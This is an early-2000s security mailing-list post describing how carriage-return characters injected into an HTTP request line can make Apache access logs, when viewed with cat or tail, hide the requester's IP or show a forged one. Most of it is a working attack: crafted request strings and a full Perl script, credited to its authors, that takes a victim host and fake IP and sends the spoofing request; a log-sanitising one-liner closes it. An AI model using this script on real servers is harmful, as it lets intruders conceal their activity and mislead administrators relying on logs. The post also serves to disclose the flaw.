----------Intro---------- Hi all ! Thanx to war@genhex.org and zav@genhex.org for discussing this issue and helping on getting ideas about this issue with their imagination !! :) Donīt know if this has been brought before. Itīs possible to "cheat" a Apache SysAdministrator and make him think that his server didnīt log a HTTP request or make him think that a request has been made by another Ip address. This "cheating" is only valid when the log is displayed on the screen using common unix utils as cat, tail, grep, etc... This will not work with the kind of sysadmin that edit the logs using vi or even print them to read at night on bed eh eh :-) I am not sure if this can be considered as a bug or as a feature (?) but in any case it will surely lead apache sysadmins into mistake !! ----------Technique---------- To make a request and to make it seem like it came from NO IP ADDRESS at all, the request should be made as this : GET / HTTP/1.0 \r\r\n In this case APACHE will print in the log file the carriage return character. So when we try to tail the access_log file it will be shown in the screen as : " 414 3461.251 - - [24/Oct/2001:18:58:18 +0100] "GET / HTTP/1.0 A normal line would be : 127.0.0.1 - - [24/Oct/2001:19:00:32 +0100] "GET / HTTP/1.0" 200 164 The normal line output will help us to understand that what happens is cat made a carriage return after the HTTP/1.0 and printed the rest of the log over the Ip Address field. We can also make it look like the request came from another Ip address, and this is preferable because like this the SysAdmin will see no apparent strange behaviour in the logfile. Just be carefull with the timestamp !! So the request should be : GET / HTTP/1.0 \r10.0.0.1 - - [24/Oct/2001:19:00:32 +0100] "GET / HTTP/1.0\r\n And the logfile will appear like this : 10.0.0.1 - - [24/Oct/2001:19:00:32 +0100] "GET / HTTP/1.0" 200 164 This is a perfect log entry and nobody can suspect on it :-) ----------The Warez---------- #!/usr/bin/perl # # smiler@vxd.org war@genhex.org zav@genhex.org # \x18/\xa/\x07d1 ++351 Rulez # # This script will make a "hidden" request to a Apache Server when the log file is viewed using cat grep tail ... # The script sends a carriage return character after the HTTP/1.0 and then it makes a fake entry with the IP supplied in argv # and it inserts a time-stamp similar to the one that server is using currently, we get this by making a get request to the # server before our special *g* GET, though we canīt control the time zone of the server. So the time-zone may # vary. Tested in ALL apache versions. ############################################################################ ####################################################### # Thoughts : It would be better to send escape characters with move_forward codes after the \r and move over the real # serverīs time stamp !! Anyone ? How do log analyzers deal with this stuff ? Anyone ? ############################################################################ ####################################################### use Socket; use strict; my $data_sacada; ######check argv if ($#ARGV != 3) { print qq~ Geee itīs running !! kewl :))) Usage : ./apache_log.pl <VICTIM_HOST> <PORT> <FILE_TO_GET> <FAKE_IP> Example Usage : apache_log.pl victimsite.victimsite.biz 80 /index.html 255.255.255.255 ~; exit;} ######get the values my $host = $ARGV[0]; my $port = $ARGV[1]; my $target = inet_aton($host); my $file_to_get= $ARGV[2]; my $fake_ip = $ARGV[3]; get_time(); ######prepare request my $envia="GET /$file_to_get HTTP/1.0 \r$fake_ip - - $data_sacada \"GET / HTTP/1.0\r\n\r\n"; my @resultados=sendraw($envia); print @resultados; ###### Sendraw - thanks RFP rfp@wiretrip.net ###### sub sendraw { # this saves the whole transaction anyway my %args; my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,$port,$target)){ my @in; select(S); $|=1; print $pstr; while(<S>){ push @in, $_; print STDOUT "." if(defined $args{X});} select(STDOUT); close(S); return @in; } else { die("Can't connect...\n"); } } ###### Get the server time b4 sending the hidden request ###### sub get_time { my $req="GET / HTTP/1.0\n\n"; my $data; my @res=sendraw($req); my $wday; my $day; my $mon; my $year; my $hour; my $tz; my $line; foreach $line (@res) { if ($line =~ /Date/) { $data = $line; $data =~ s/Date: //g; ($wday,$day,$mon,$year,$hour,$tz)=split(/ /,$data); $data_sacada="[".$day."/".$mon."/".$year.":".$hour." +0000]"; } } } ----------Solution---------- Use 'vi' to check your logs or cat your log using : perl -e 'open(FH,"access_log");while(<FH>){$_=~s/[\r|\b|\x27]//g;print $_}'